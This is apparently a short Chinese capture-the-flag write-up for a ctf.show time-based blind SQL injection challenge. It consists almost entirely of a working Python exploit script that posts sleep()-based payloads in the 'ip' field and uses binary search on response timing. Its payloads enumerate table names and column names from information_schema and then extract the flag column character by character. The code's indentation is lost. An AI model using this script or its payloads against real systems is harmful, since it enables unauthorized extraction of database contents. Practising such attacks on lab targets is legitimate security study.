214 基础时间盲注
这道题很裂开啊,没有给注入点,懒得用arjun扫描了…
注入点在post传参ip和debug
直接给脚本
import requests
import time
url = "http://f889edc3-5471-4dba-a9c1-7b2cb3c9cb14.challenge.ctf.show/api/"
#表名
#payload1="1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(1),1)"
#payload1="1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(1),1)"
payload1="1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(1),1)"
flag = ""
for i in range(1,100):
head = 32
tail = 127
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) >> 1
data = {
"ip" : payload1.format(i,mid),
'debug' : 1
}
#print(data)
start_time = time.time()
response = requests.post(url,data=data)
end_time = time.time()
#print(end_time - start_time)
if(end_time - start_time > 1):
head = mid
else:
tail = mid
if tail < head:
tail = head
flag = flag + chr(tail)
print("[*]flag:"+flag)